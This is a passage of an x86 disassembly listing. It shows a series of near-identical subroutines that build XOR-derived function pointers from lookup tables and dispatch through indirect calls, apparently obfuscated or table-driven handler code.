		mov	[ebp+var_1C], 2Eh
		mov	[ebp+var_18], 0B7h
		mov	[ebp+var_14], 28h
		mov	[ebp+var_10], 0Eh
		mov	[ebp+var_40], 7
		mov	eax, [ebp+arg_0]
		shr	eax, 0Eh
		and	eax, 7
		mov	ecx, [ebp+eax*4+var_30]
		mov	[ebp+var_3C], ecx
		mov	eax, [ebp+var_3C]
		cdq
		mov	ecx, 1Eh
		idiv	ecx
		mov	[ebp+var_34], eax
		mov	eax, [ebp+var_3C]
		cdq
		mov	ecx, 1Eh
		idiv	ecx
		mov	[ebp+var_38], edx
		mov	edx, [ebp+var_34]
		cmp	edx, [ebp+var_38]
		jnz	short loc_4A39C5
		mov	eax, [ebp+var_38]
		add	eax, 1
		cdq
		mov	ecx, 1Eh
		idiv	ecx
		mov	[ebp+var_38], edx


loc_4A39C5:				; CODE XREF: sub_4A3934+7Ej
		mov	edx, [ebp+var_3C]
		mov	eax, [ebp+var_34]
		mov	ecx, dword_4F36E8[edx*4]
		xor	ecx, dword_4ED2CC[eax*4]
		mov	edx, [ebp+var_38]
		xor	ecx, dword_4ED2CC[edx*4]
		mov	[ebp+var_8], ecx
		mov	eax, [ebp+arg_4]
		push	eax
		mov	ecx, [ebp+var_3C]
		movsx	edx, byte_4F1DF0[ecx]
		call	off_4F1D00[edx*4]
		add	esp, 4
		mov	[ebp+var_4], eax
		mov	eax, [ebp+arg_8]
		push	eax
		mov	ecx, [ebp+var_4]
		push	ecx
		call	[ebp+var_8]
		add	esp, 8
		push	eax
		mov	edx, [ebp+var_3C]
		movsx	eax, byte_4F1DF0[edx]
		call	off_4F1D78[eax*4]
		add	esp, 4
		mov	[ebp+var_C], eax
		mov	eax, [ebp+var_C]
		and	eax, 1
		mov	esp, ebp
		pop	ebp
		retn
sub_4A3934	endp


; =============== S U B	R O U T	I N E =======================================

; Attributes: bp-based frame


sub_4A3A31	proc near		; CODE XREF: .text:004BB43Ep
					; DATA XREF: .data:004ED854o

var_40		= dword	ptr -40h
var_3C		= dword	ptr -3Ch
var_38		= dword	ptr -38h
var_34		= dword	ptr -34h
var_30		= dword	ptr -30h
var_2C		= dword	ptr -2Ch
var_28		= dword	ptr -28h
var_24		= dword	ptr -24h
var_20		= dword	ptr -20h
var_1C		= dword	ptr -1Ch
var_18		= dword	ptr -18h
var_14		= dword	ptr -14h
var_10		= dword	ptr -10h
var_C		= dword	ptr -0Ch
var_8		= dword	ptr -8
var_4		= dword	ptr -4
arg_0		= dword	ptr  8
arg_4		= dword	ptr  0Ch
arg_8		= dword	ptr  10h

		push	ebp
		mov	ebp, esp
		sub	esp, 40h
		mov	[ebp+var_30], 41h
		mov	[ebp+var_2C], 44h
		mov	[ebp+var_28], 75h
		mov	[ebp+var_24], 0B7h
		mov	[ebp+var_20], 0A9h
		mov	[ebp+var_1C], 1Dh
		mov	[ebp+var_18], 47h
		mov	[ebp+var_14], 85h
		mov	[ebp+var_10], 0Dh
		mov	[ebp+var_40], 7
		mov	eax, [ebp+arg_0]
		shr	eax, 0Dh
		and	eax, 7
		mov	ecx, [ebp+eax*4+var_30]
		mov	[ebp+var_3C], ecx
		mov	eax, [ebp+var_3C]
		cdq
		mov	ecx, 1Eh
		idiv	ecx
		mov	[ebp+var_34], eax
		mov	eax, [ebp+var_3C]
		cdq
		mov	ecx, 1Eh
		idiv	ecx
		mov	[ebp+var_38], edx
		mov	edx, [ebp+var_34]
		cmp	edx, [ebp+var_38]
		jnz	short loc_4A3AC2
		mov	eax, [ebp+var_38]
		add	eax, 1
		cdq
		mov	ecx, 1Eh
		idiv	ecx
		mov	[ebp+var_38], edx


loc_4A3AC2:				; CODE XREF: sub_4A3A31+7Ej
		mov	edx, [ebp+var_3C]
		mov	eax, [ebp+var_34]
		mov	ecx, dword_4F36E8[edx*4]
		xor	ecx, dword_4ED2CC[eax*4]
		mov	edx, [ebp+var_38]
		xor	ecx, dword_4ED2CC[edx*4]
		mov	[ebp+var_8], ecx
		mov	eax, [ebp+arg_4]
		push	eax
		mov	ecx, [ebp+var_3C]
		movsx	edx, byte_4F1DF0[ecx]
		call	off_4F1D00[edx*4]
		add	esp, 4
		mov	[ebp+var_4], eax
		mov	eax, [ebp+arg_8]
		push	eax
		mov	ecx, [ebp+var_4]
		push	ecx
		call	[ebp+var_8]
		add	esp, 8
		push	eax
		mov	edx, [ebp+var_3C]
		movsx	eax, byte_4F1DF0[edx]
		call	off_4F1D78[eax*4]
		add	esp, 4
		mov	[ebp+var_C], eax
		mov	eax, [ebp+var_C]
		and	eax, 1
		mov	esp, ebp
		pop	ebp
		retn
sub_4A3A31	endp


; =============== S U B	R O U T	I N E =======================================

; Attributes: bp-based frame


sub_4A3B2E	proc near		; CODE XREF: .text:004BB43Ep
					; DATA XREF: .data:004ED858o

var_40		= dword	ptr -40h
var_3C		= dword	ptr -3Ch
var_38		= dword	ptr -38h
var_34		= dword	ptr -34h
var_30		= dword	ptr -30h
var_2C		= dword	ptr -2Ch
var_28		= dword	ptr -28h
var_24		= dword	ptr -24h
var_20		= dword	ptr -20h
var_1C		= dword	ptr -1Ch
var_18		= dword	ptr -18h
var_14		= dword	ptr -14h
var_10		= dword	ptr -10h
var_C		= dword	ptr -0Ch
var_8		= dword	ptr -8
var_4		= dword	ptr -4
arg_0		= dword	ptr  8
arg_4		= dword	ptr  0Ch
arg_8		= dword	ptr  10h

		push	ebp
		mov	ebp, esp
		sub	esp, 40h
		mov	[ebp+var_30], 0EBh
		mov	[ebp+var_2C], 3Ch
		mov	[ebp+var_28], 19h
		mov	[ebp+var_24], 7Ah
		mov	[ebp+var_20], 1Dh
		mov	[ebp+var_1C], 5Ch
		mov	[ebp+var_18], 0EAh
		mov	[ebp+var_14], 7Bh
		mov	[ebp+var_10], 6
		mov	[ebp+var_40], 7
		mov	eax, [ebp+arg_0]
		shr	eax, 6
		and	eax, 7
		mov	ecx, [ebp+eax*4+var_30]
		mov	[ebp+var_3C], ecx
		mov	eax, [ebp+var_3C]
		cdq
		mov	ecx, 1Eh
		idiv	ecx
		mov	[ebp+var_34], eax
		mov	eax, [ebp+var_3C]
		cdq
		mov	ecx, 1Eh
		idiv	ecx
		mov	[ebp+var_38], edx
		mov	edx, [ebp+var_34]
		cmp	edx, [ebp+var_38]
		jnz	short loc_4A3BBF
		mov	eax, [ebp+var_38]
		add	eax, 1
		cdq
		mov	ecx, 1Eh
		idiv	ecx
		mov	[ebp+var_38], edx


loc_4A3BBF:				; CODE XREF: sub_4A3B2E+7Ej
		mov	edx, [ebp+var_3C]
		mov	eax, [ebp+var_34]
		mov	ecx, dword_4F36E8[edx*4]
		xor	ecx, dword_4ED2CC[eax*4]
		mov	edx, [ebp+var_38]
		xor	ecx, dword_4ED2CC[edx*4]
		mov	[ebp+var_8], ecx
		mov	eax, [ebp+arg_4]
		push	eax
		mov	ecx, [ebp+var_3C]
		movsx	edx, byte_4F1DF0[ecx]
		call	off_4F1D00[edx*4]
		add	esp, 4
		mov	[ebp+var_4], eax
		mov	eax, [ebp+arg_8]
		push	eax
		mov	ecx, [ebp+var_4]
		push	ecx
		call	[ebp+var_8]
		add	esp, 8
		push	eax
		mov	edx, [ebp+var_3C]
		movsx	eax, byte_4F1DF0[edx]
		call	off_4F1D78[eax*4]
		add	esp, 4
		mov	[ebp+var_C], eax
		mov	eax, [ebp+var_C]
		and	eax, 1
		mov	esp, ebp
		pop	ebp
		retn
sub_4A3B2E	endp


; =============== S U B	R O U T	I N E =======================================

; Attributes: bp-based frame


sub_4A3C2B	proc near		; CODE XREF: .text:004BB43Ep
					; DATA XREF: .data:004ED85Co

var_40		= dword	ptr -40h
var_3C		= dword	ptr -3Ch
var_38		= dword	ptr -38h
var_34		= dword	ptr -34h
var_30		= dword	ptr -30h
var_2C		= dword	ptr -2Ch
var_28		= dword	ptr -28h
var_24		= dword	ptr -24h
var_20		= dword	ptr -20h
var_1C		= dword	ptr -1Ch
var_18		= dword	ptr -18h
var_14		= dword	ptr -14h
var_10		= dword	ptr -10h
var_C		= dword	ptr -0Ch
var_8		= dword	ptr -8
var_4		= dword	ptr -4
arg_0		= dword	ptr  8
arg_4		= dword	ptr  0Ch
arg_8		= dword	ptr  10h

		push	ebp
		mov	ebp, esp
		sub	esp, 40h
		mov	[ebp+var_30], 2Dh
		mov	[ebp+var_2C], 28h
		mov	[ebp+var_28], 0DFh
		mov	[ebp+var_24], 3Dh
		mov	[ebp+var_20], 0E1h
		mov	[ebp+var_1C], 0
		mov	[ebp+var_18], 53h
		mov	[ebp+var_14], 0CBh
		mov	[ebp+var_10], 5
		mov	[ebp+var_40], 7
		mov	eax, [ebp+arg_0]
		shr	eax, 5
		and	eax, 7
		mov	ecx, [ebp+eax*4+var_30]
		mov	[ebp+var_3C], ecx
		mov	eax, [ebp+var_3C]
		cdq
		mov	ecx, 1Eh
		idiv	ecx
		mov	[ebp+var_34], eax
		mov	eax, [ebp+var_3C]
		cdq
		mov	ecx, 1Eh
		idiv	ecx
		mov	[ebp+var_38], edx
		mov	edx, [ebp+var_34]
		cmp	edx, [ebp+var_38]
		jnz	short loc_4A3CBC
		mov	eax, [ebp+var_38]
		add	eax, 1
		cdq
		mov	ecx, 1Eh
		idiv	ecx
		mov	[ebp+var_38], edx


loc_4A3CBC:				; CODE XREF: sub_4A3C2B+7Ej
		mov	edx, [ebp+var_3C]
		mov	eax, [ebp+var_34]
		mov	ecx, dword_4F36E8[edx*4]
		xor	ecx, dword_4ED2CC[eax*4]
		mov	edx, [ebp+var_38]
		xor	ecx, dword_4ED2CC[edx*4]
		mov	[ebp+var_8], ecx
		mov	eax, [ebp+arg_4]
		push	eax
		mov	ecx, [ebp+var_3C]
		movsx	edx, byte_4F1DF0[ecx]
		call	off_4F1D00[edx*4]
		add	esp, 4
		mov	[ebp+var_4], eax
		mov	eax, [ebp+arg_8]
		push	eax
		mov	ecx, [ebp+var_4]
		push	ecx
		call	[ebp+var_8]
		add	esp, 8
		push	eax
		mov	edx, [ebp+var_3C]
		movsx	eax, byte_4F1DF0[edx]
		call	off_4F1D78[eax*4]
		add	esp, 4
		mov	[ebp+var_C], eax
		mov	eax, [ebp+var_C]
		and	eax, 1
		mov	esp, ebp
		pop	ebp
		retn
sub_4A3C2B	endp


; =============== S U B	R O U T	I N E =======================================

; Attributes: bp-based frame


sub_4A3D28	proc near		; CODE XREF: .text:004BB43Ep
					; DATA XREF: .data:004ED860o

var_40		= dword	ptr -40h
var_3C		= dword	ptr -3Ch
var_38		= dword	ptr -38h
var_34		= dword	ptr -34h
var_30		= dword	ptr -30h
var_2C		= dword	ptr -2Ch
var_28		= dword	ptr -28h
var_24		= dword	ptr -24h
var_20		= dword	ptr -20h
var_1C		= dword	ptr -1Ch
var_18		= dword	ptr -18h
var_14		= dword	ptr -14h
var_10		= dword	ptr -10h
var_C		= dword	ptr -0Ch
var_8		= dword	ptr -8
var_4		= dword	ptr -4
arg_0		= dword	ptr  8
arg_4		= dword	ptr  0Ch
arg_8		= dword	ptr  10h

		push	ebp
		mov	ebp, esp
		sub	esp, 40h
		mov	[ebp+var_30], 9Dh
		mov	[ebp+var_2C], 0F3h
		mov	[ebp+var_28], 81h
		mov	[ebp+var_24], 0B9h
		mov	[ebp+var_20], 75h
		mov	[ebp+var_1C], 6Bh
		mov	[ebp+var_18], 70h
		mov	[ebp+var_14], 0B9h
		mov	[ebp+var_10], 0Bh
		mov	[ebp+var_40], 7
		mov	eax, [ebp+arg_0]
		shr	eax, 0Bh
		and	eax, 7
		mov	ecx, [ebp+eax*4+var_30]
		mov	[ebp+var_3C], ecx
		mov	eax, [ebp+var_3C]
		cdq
		mov	ecx, 1Eh
		idiv	ecx
		mov	[ebp+var_34], eax
		mov	eax, [ebp+var_3C]
		cdq
		mov	ecx, 1Eh
		idiv	ecx
		mov	[ebp+var_38], edx
		mov	edx, [ebp+var_34]
		cmp	edx, [ebp+var_38]
		jnz	short loc_4A3DB9
		mov	eax, [ebp+var_38]
		add	eax, 1
		cdq
		mov	ecx, 1Eh
		idiv	ecx
		mov	[ebp+var_38], edx


loc_4A3DB9:				; CODE XREF: sub_4A3D28+7Ej
		mov	edx, [ebp+var_3C]
		mov	eax, [ebp+var_34]
		mov	ecx, dword_4F36E8[edx*4]
		xor	ecx, dword_4ED2CC[eax*4]
		mov	edx, [ebp+var_38]
		xor	ecx, dword_4ED2CC[edx*4]
		mov	[ebp+var_8], ecx
		mov	eax, [ebp+arg_4]
		push	eax
		mov	ecx, [ebp+var_3C]
		movsx	edx, byte_4F1DF0[ecx]
		call	off_4F1D00[edx*4]
		add	esp, 4
		mov	[ebp+var_4], eax
		mov	eax, [ebp+arg_8]
		push	eax
		mov	ecx, [ebp+var_4]
		push	ecx
		call	[ebp+var_8]
		add	esp, 8
		push	eax
		mov	edx, [ebp+var_3C]
		movsx	eax, byte_4F1DF0[edx]
		call	off_4F1D78[eax*4]
		add	esp, 4
		mov	[ebp+var_C], eax
		mov	eax, [ebp+var_C]
		and	eax, 1
		mov	esp, ebp
		pop	ebp
		retn
sub_4A3D28	endp


; =============== S U B	R O U T	I N E =======================================

; Attributes: bp-based frame


sub_4A3E25	proc near		; CODE XREF: .text:004BB43Ep
					; DATA XREF: .data:004ED864o

var_40		= dword	ptr -40h
var_3C		= dword	ptr -3Ch
var_38		= dword	ptr -38h
var_34		= dword	ptr -34h
var_30		= dword	ptr -30h
var_2C		= dword	ptr -2Ch
var_28		= dword	ptr -28h
var_24		= dword	ptr -24h
var_20		= dword	ptr -20h
var_1C		= dword	ptr -1Ch
var_18		= dword	ptr -18h
var_14		= dword	ptr -14h
var_10		= dword	ptr -10h
var_C		= dword	ptr -0Ch
var_8		= dword	ptr -8
var_4		= dword	ptr -4
arg_0		= dword	ptr  8
arg_4		= dword	ptr  0Ch
arg_8		= dword	ptr  10h

		push	ebp
		mov	ebp, esp
		sub	esp, 40h
		mov	[ebp+var_30], 17h
		mov	[ebp+var_2C], 63h
		mov	[ebp+var_28], 0EBh
		mov	[ebp+var_24], 7Fh
		mov	[ebp+var_20], 0EFh
		mov	[ebp+var_1C], 89h
		mov	[ebp+var_18], 54h
		mov	[ebp+var_14], 0A7h
		mov	[ebp+var_10], 15h
		mov	[ebp+var_40], 7
		mov	eax, [ebp+arg_0]
		shr	eax, 15h
		and	eax, 7
		mov	ecx, [ebp+eax*4+var_30]
		mov	[ebp+var_3C], ecx
		mov	eax, [ebp+var_3C]
		cdq
		mov	ecx, 1Eh
		idiv	ecx
		mov	[ebp+var_34], eax
		mov	eax, [ebp+var_3C]
		cdq
		mov	ecx, 1Eh
		idiv	ecx
		mov	[ebp+var_38], edx
		mov	edx, [ebp+var_34]
		cmp	edx, [ebp+var_38]
		jnz	short loc_4A3EB6
		mov	eax, [ebp+var_38]
		add	eax, 1
		cdq
		mov	ecx, 1Eh
		idiv	ecx
		mov	[ebp+var_38], edx


loc_4A3EB6:				; CODE XREF: sub_4A3E25+7Ej
		mov	edx, [ebp+var_3C]
		mov	eax, [ebp+var_34]
		mov	ecx, dword_4F36E8[edx*4]
		xor	ecx, dword_4ED2CC[eax*4]
		mov	edx, [ebp+var_38]
		xor	ecx, dword_4ED2CC[edx*4]
		mov	[ebp+var_8], ecx
		mov	eax, [ebp+arg_4]
		push	eax
		mov	ecx, [ebp+var_3C]
		movsx	edx, byte_4F1DF0[ecx]
		call	off_4F1D00[edx*4]
		add	esp, 4
		mov	[ebp+var_4], eax
		mov	eax, [ebp+arg_8]
		push	eax
		mov	ecx, [ebp+var_4]
		push	ecx
		call	[ebp+var_8]
		add	esp, 8
		push	eax
		mov	edx, [ebp+var_3C]
		movsx	eax, byte_4F1DF0[edx]
		call	off_4F1D78[eax*4]
		add	esp, 4
		mov	[ebp+var_C], eax
		mov	eax, [ebp+var_C]
		and	eax, 1
		mov	esp, ebp
		pop	ebp
		retn
sub_4A3E25	endp


; =============== S U B	R O U T	I N E =======================================

; Attributes: bp-based frame


sub_4A3F22	proc near		; CODE XREF: .text:004BB43Ep
					; DATA XREF: .data:004ED868o

var_40		= dword	ptr -40h
var_3C		= dword	ptr -3Ch
var_38		= dword	ptr -38h
var_34		= dword	ptr -34h
var_30		= dword	ptr -30h
var_2C		= dword	ptr -2Ch
var_28		= dword	ptr -28h
var_24		= dword	ptr -24h
var_20		= dword	ptr -20h
var_1C		= dword	ptr -1Ch
var_18		= dword	ptr -18h
var_14		= dword	ptr -14h
var_10		= dword	ptr -10h
var_C		= dword	ptr -0Ch
var_8		= dword	ptr -8
var_4		= dword	ptr -4
arg_0		= dword	ptr  8
arg_4		= dword	ptr  0Ch
arg_8		= dword	ptr  10h

		push	ebp
		mov	ebp, esp
		sub	esp, 40h
		mov	[ebp+var_30], 4Fh
		mov	[ebp+var_2C], 0E5h
		mov	[ebp+var_28], 0C4h
		mov	[ebp+var_24], 0DEh
		mov	[ebp+var_20], 0B2h
		mov	[ebp+var_1C], 57h
		mov	[ebp+var_18], 5Bh
		mov	[ebp+var_14], 0C2h
		mov	[ebp+var_10], 10h
		mov	[ebp+var_40], 7
		mov	eax, [ebp+arg_0]
		shr	eax, 10h
		and	eax, 7
		mov	ecx, [ebp+eax*4+var_30]
		mov	[ebp+var_3C], ecx
		mov	eax, [ebp+var_3C]
		cdq
		mov	ecx, 1Eh
		idiv	ecx
		mov	[ebp+var_34], eax
		mov	eax, [ebp+var_3C]
		cdq
		mov	ecx, 1Eh
		idiv	ecx
		mov	[ebp+var_38], edx
		mov	edx, [ebp+var_34]
		cmp	edx, [ebp+var_38]
		jnz	short loc_4A3FB3
		mov	eax, [ebp+var_38]
		add	eax, 1
		cdq
		mov	ecx, 1Eh
		idiv	ecx
		mov	[ebp+var_38], edx


loc_4A3FB3:				; CODE XREF: sub_4A3F22+7Ej
		mov	edx, [ebp+var_3C]
		mov	eax, [ebp+var_34]
		mov	ecx, dword_4F36E8[edx*4]
		xor	ecx, dword_4ED2CC[eax*4]
		mov	edx, [ebp+var_38]
		xor	ecx, dword_4ED2CC[edx*4]
		mov	[ebp+var_8], ecx
		mov	eax, [ebp+arg_4]
		push	eax
		mov	ecx, [ebp+var_3C]
		movsx	edx, byte_4F1DF0[ecx]
		call	off_4F1D00[edx*4]
		add	esp, 4
		mov	[ebp+var_4], eax
		mov	eax, [ebp+arg_8]
		push	eax
		mov	ecx, [ebp+var_4]
		push	ecx
		call	[ebp+var_8]
		add	esp, 8
		push	eax
		mov	edx, [ebp+var_3C]
		movsx	eax, byte_4F1DF0[edx]
		call	off_4F1D78[eax*4]
		add	esp, 4
		mov	[ebp+var_C], eax
		mov	eax, [ebp+var_C]
		and	eax, 1
		mov	esp, ebp
		pop	ebp
		retn
sub_4A3F22	endp


; =============== S U B	R O U T	I N E =======================================

; Attributes: bp-based frame


sub_4A401F	proc near		; CODE XREF: .text:004BB43Ep
					; DATA XREF: .data:004ED86Co

var_40		= dword	ptr -40h
var_3C		= dword	ptr -3Ch
var_38		= dword	ptr -38h
var_34		= dword	ptr -34h
var_30		= dword	ptr -30h
var_2C		= dword	ptr -2Ch
var_28		= dword	ptr -28h
var_24		= dword	ptr -24h
var_20		= dword	ptr -20h
var_1C		= dword	ptr -1Ch
var_18		= dword	ptr -18h
var_14		= dword	ptr -14h
var_10		= dword	ptr -10h
var_C		= dword	ptr -0Ch
var_8		= dword	ptr -8
var_4		= dword	ptr -4
arg_0		= dword	ptr  8
arg_4		= dword	ptr  0Ch
arg_8		= dword	ptr  10h

		push	ebp
		mov	ebp, esp
		sub	esp, 40h
		mov	[ebp+var_30], 0A7h
		mov	[ebp+var_2C], 74h
		mov	[ebp+var_28], 0B6h
		mov	[ebp+var_24], 0D6h
		mov	[ebp+var_20], 35h
		mov	[ebp+var_1C], 27h
		mov	[ebp+var_18], 0D3h
		mov	[ebp+var_14], 45h
		mov	[ebp+var_10], 7
		mov	[ebp+var_40], 7
		mov	eax, [ebp+arg_0]
		shr	eax, 7
		and	eax, 7
		mov	ecx, [ebp+eax*4+var_30]
		mov	[ebp+var_3C], ecx
		mov	eax, [ebp+var_3C]
		cdq
		mov	ecx, 1Eh
		idiv	ecx
		mov	[ebp+var_34], eax
		mov	eax, [ebp+var_3C]
		cdq
		mov	ecx, 1Eh
		idiv	ecx
		mov	[ebp+var_38], edx
		mov	edx, [ebp+var_34]
		cmp	edx, [ebp+var_38]
		jnz	short loc_4A40B0
		mov	eax, [ebp+var_38]
		add	eax, 1
		cdq
		mov	ecx, 1Eh
		idiv	ecx
		mov	[ebp+var_38], edx


loc_4A40B0:				; CODE XREF: sub_4A401F+7Ej
		mov	edx, [ebp+var_3C]
		mov	eax, [ebp+var_34]
		mov	ecx, dword_4F36E8[edx*4]
		xor	ecx, dword_4ED2CC[eax*4]
		mov	edx, [ebp+var_38]
		xor	ecx, dword_4ED2CC[edx*4]
		mov	[ebp+var_8], ecx
		mov	eax, [ebp+arg_4]
		push	eax
		mov	ecx, [ebp+var_3C]
		movsx	edx, byte_4F1DF0[ecx]
		call	off_4F1D00[edx*4]
		add	esp, 4
		mov	[ebp+var_4], eax
		mov	eax, [ebp+arg_8]
		push	eax
		mov	ecx, [ebp+var_4]
		push	ecx
		call	[ebp+var_8]
		add	esp, 8
		push	eax
		mov	edx, [ebp+var_3C]
		movsx	eax, byte_4F1DF0[edx]
		call	off_4F1D78[eax*4]
		add	esp, 4
		mov	[ebp+var_C], eax
		mov	eax, [ebp+var_C]
		and	eax, 1
		mov	esp, ebp
		pop	ebp
		retn
sub_4A401F	endp


; =============== S U B	R O U T	I N E =======================================

; Attributes: bp-based frame


sub_4A411C	proc near		; CODE XREF: .text:004BB43Ep
					; DATA XREF: .data:004ED870o

var_40		= dword	ptr -40h
var_3C		= dword	ptr -3Ch
var_38		= dword	ptr -38h
var_34		= dword	ptr -34h
var_30		= dword	ptr -30h
var_2C		= dword	ptr -2Ch
var_28		= dword	ptr -28h
var_24		= dword	ptr -24h
var_20		= dword	ptr -20h
var_1C		= dword	ptr -1Ch
var_18		= dword	ptr -18h
var_14		= dword	ptr -14h
var_10		= dword	ptr -10h
var_C		= dword	ptr -0Ch
var_8		= dword	ptr -8
var_4		= dword	ptr -4
arg_0		= dword	ptr  8
arg_4		= dword	ptr  0Ch
arg_8		= dword	ptr  10h

		push	ebp
		mov	ebp, esp
		sub	esp, 40h
		mov	[ebp+var_30], 70h
		mov	[ebp+var_2C], 0B6h
		mov	[ebp+var_28], 0D1h
		mov	[ebp+var_24], 0
		mov	[ebp+var_20], 0C3h
		mov	[ebp+var_1C], 0CEh
		mov	[ebp+var_18], 82h
		mov	[ebp+var_14], 18h
		mov	[ebp+var_10], 14h
		mov	[ebp+var_40], 7
		mov	eax, [ebp+arg_0]
		shr	eax, 14h
		and	eax, 7
		mov	ecx, [ebp+eax*4+var_30]
		mov	[ebp+var_3C], ecx
		mov	eax, [ebp+var_3C]
		cdq
		mov	ecx, 1Eh
		idiv	ecx
		mov	[ebp+var_34], eax
		mov	eax, [ebp+var_3C]
		cdq
		mov	ecx, 1Eh
		idiv	ecx
		mov	[ebp+var_38], edx
		mov	edx, [ebp+var_34]
		cmp	edx, [ebp+var_38]
		jnz	short loc_4A41AD
		mov	eax, [ebp+var_38]
		add	eax, 1
		cdq
		mov	ecx, 1Eh
		idiv	ecx
		mov	[ebp+var_38], edx


loc_4A41AD:				; CODE XREF: sub_4A411C+7Ej
		mov	edx, [ebp+var_3C]
		mov	eax, [ebp+var_34]
		mov	ecx, dword_4F36E8[edx*4]
		xor	ecx, dword_4ED2CC[eax*4]
		mov	edx, [ebp+var_38]
		xor	ecx, dword_4ED2CC[edx*4]
		mov	[ebp+var_8], ecx
		mov	eax, [ebp+arg_4]
		push	eax
		mov	ecx, [ebp+var_3C]
		movsx	edx, byte_4F1DF0[ecx]
		call	off_4F1D00[edx*4]
		add	esp, 4
		mov	[ebp+var_4], eax
		mov	eax, [ebp+arg_8]
		push	eax
		mov	ecx, [ebp+var_4]
		push	ecx
		call	[ebp+var_8]
		add	esp, 8
		push	eax
		mov	edx, [ebp+var_3C]
		movsx	eax, byte_4F1DF0[edx]
		call	off_4F1D78[eax*4]
		add	esp, 4
		mov	[ebp+var_C], eax
		mov	eax, [ebp+var_C]
		and	eax, 1
		mov	esp, ebp
		pop	ebp
		retn
sub_4A411C	endp


; =============== S U B	R O U T	I N E =======================================

; Attributes: bp-based frame


sub_4A4219	proc near		; CODE XREF: .text:004BB43Ep
					; DATA XREF: .data:004ED874o

var_40		= dword	ptr -40h
var_3C		= dword	ptr -3Ch
var_38		= dword	ptr -38h
var_34		= dword	ptr -34h
var_30		= dword	ptr -30h
var_2C		= dword	ptr -2Ch
var_28		= dword	ptr -28h
var_24		= dword	ptr -24h
var_20		= dword	ptr -20h
var_1C		= dword	ptr -1Ch
var_18		= dword	ptr -18h
var_14		= dword	ptr -14h
var_10		= dword	ptr -10h
var_C		= dword	ptr -0Ch
var_8		= dword	ptr -8
var_4		= dword	ptr -4
arg_0		= dword	ptr  8
arg_4		= dword	ptr  0Ch
arg_8		= dword	ptr  10h

		push	ebp
		mov	ebp, esp
		sub	esp, 40h
		mov	[ebp+var_30], 1Fh
		mov	[ebp+var_2C], 8Dh
		mov	[ebp+var_28], 0A7h
		mov	[ebp+var_24], 44h
		mov	[ebp+var_20], 67h
		mov	[ebp+var_1C], 5Dh
		mov	[ebp+var_18], 2
		mov	[ebp+var_14], 0CEh
		mov	[ebp+var_10], 11h
		mov	[ebp+var_40], 7
		mov	eax, [ebp+arg_0]
		shr	eax, 11h
		and	eax, 7
		mov	ecx, [ebp+eax*4+var_30]
		mov	[ebp+var_3C], ecx
		mov	eax, [ebp+var_3C]
		cdq
		mov	ecx, 1Eh
		idiv	ecx
		mov	[ebp+var_34], eax
		mov	eax, [ebp+var_3C]
		cdq
		mov	ecx, 1Eh
		idiv	ecx
		mov	[ebp+var_38], edx
		mov	edx, [ebp+var_34]
		cmp	edx, [ebp+var_38]
		jnz	short loc_4A42AA
		mov	eax, [ebp+var_38]
		add	eax, 1
		cdq
		mov	ecx, 1Eh
		idiv	ecx
		mov	[ebp+var_38], edx


loc_4A42AA:				; CODE XREF: sub_4A4219+7Ej
		mov	edx, [ebp+var_3C]
		mov	eax, [ebp+var_34]
		mov	ecx, dword_4F36E8[edx*4]
		xor	ecx, dword_4ED2CC[eax*4]
		mov	edx, [ebp+var_38]
		xor	ecx, dword_4ED2CC[edx*4]
		mov	[ebp+var_8], ecx
		mov	eax, [ebp+arg_4]
		push	eax
		mov	ecx, [ebp+var_3C]
		movsx	edx, byte_4F1DF0[ecx]
		call	off_4F1D00[edx*4]
		add	esp, 4
		mov	[ebp+var_4], eax
		mov	eax, [ebp+arg_8]
		push	eax
		mov	ecx, [ebp+var_4]
		push	ecx
		call	[ebp+var_8]
		add	esp, 8
		push	eax
		mov	edx, [ebp+var_3C]
		movsx	eax, byte_4F1DF0[edx]
		call	off_4F1D78[eax*4]
		add	esp, 4
		mov	[ebp+var_C], eax
		mov	eax, [ebp+var_C]
		and	eax, 1
		mov	esp, ebp
		pop	ebp
		retn
sub_4A4219	endp


; =============== S U B	R O U T	I N E =======================================

; Attributes: bp-based frame


sub_4A4316	proc near		; CODE XREF: .text:004BB43Ep
					; DATA XREF: .data:004ED878o

var_40		= dword	ptr -40h
var_3C		= dword	ptr -3Ch
var_38		= dword	ptr -38h
var_34		= dword	ptr -34h
var_30		= dword	ptr -30h
var_2C		= dword	ptr -2Ch
var_28		= dword	ptr -28h
var_24		= dword	ptr -24h
var_20		= dword	ptr -20h
var_1C		= dword	ptr -1Ch
var_18		= dword	ptr -18h
var_14		= dword	ptr -14h
var_10		= dword	ptr -10h
var_C		= dword	ptr -0Ch
var_8		= dword	ptr -8
var_4		= dword	ptr -4
arg_0		= dword	ptr  8
arg_4		= dword	ptr  0Ch
arg_8		= dword	ptr  10h

		push	ebp
		mov	ebp, esp
		sub	esp, 40h
		mov	[ebp+var_30], 8Fh
		mov	[ebp+var_2C], 81h
		mov	[ebp+var_28], 48h
		mov	[ebp+var_24], 0Fh
		mov	[ebp+var_20], 0C5h
		mov	[ebp+var_1C], 9Fh
		mov	[ebp+var_18], 20h
		mov	[ebp+var_14], 81h
		mov	[ebp+var_10], 15h
		mov	[ebp+var_40], 7
		mov	eax, [ebp+arg_0]
		shr	eax, 15h
		and	eax, 7
		mov	ecx, [ebp+eax*4+var_30]
		mov	[ebp+var_3C], ecx
		mov	eax, [ebp+var_3C]
		cdq
		mov	ecx, 1Eh
		idiv	ecx
		mov	[ebp+var_34], eax
		mov	eax, [ebp+var_3C]
		cdq
		mov	ecx, 1Eh
		idiv	ecx
		mov	[ebp+var_38], edx
		mov	edx, [ebp+var_34]
		cmp	edx, [ebp+var_38]
		jnz	short loc_4A43A7
		mov	eax, [ebp+var_38]
		add	eax, 1
		cdq
		mov	ecx, 1Eh
		idiv	ecx
		mov	[ebp+var_38], edx


loc_4A43A7:				; CODE XREF: sub_4A4316+7Ej
		mov	edx, [ebp+var_3C]
		mov	eax, [ebp+var_34]
		mov	ecx, dword_4F36E8[edx*4]
		xor	ecx, dword_4ED2CC[eax*4]
		mov	edx, [ebp+var_38]
		xor	ecx, dword_4ED2CC[edx*4]
		mov	[ebp+var_8], ecx
		mov	eax, [ebp+arg_4]
		push	eax
		mov	ecx, [ebp+var_3C]
		movsx	edx, byte_4F1DF0[ecx]
		call	off_4F1D00[edx*4]
		add	esp, 4
		mov	[ebp+var_4], eax
		mov	eax, [ebp+arg_8]
		push	eax
		mov	ecx, [ebp+var_4]
		push	ecx
		call	[ebp+var_8]
		add	esp, 8
		push	eax
		mov	edx, [ebp+var_3C]
		movsx	eax, byte_4F1DF0[edx]
		call	off_4F1D78[eax*4]
		add	esp, 4
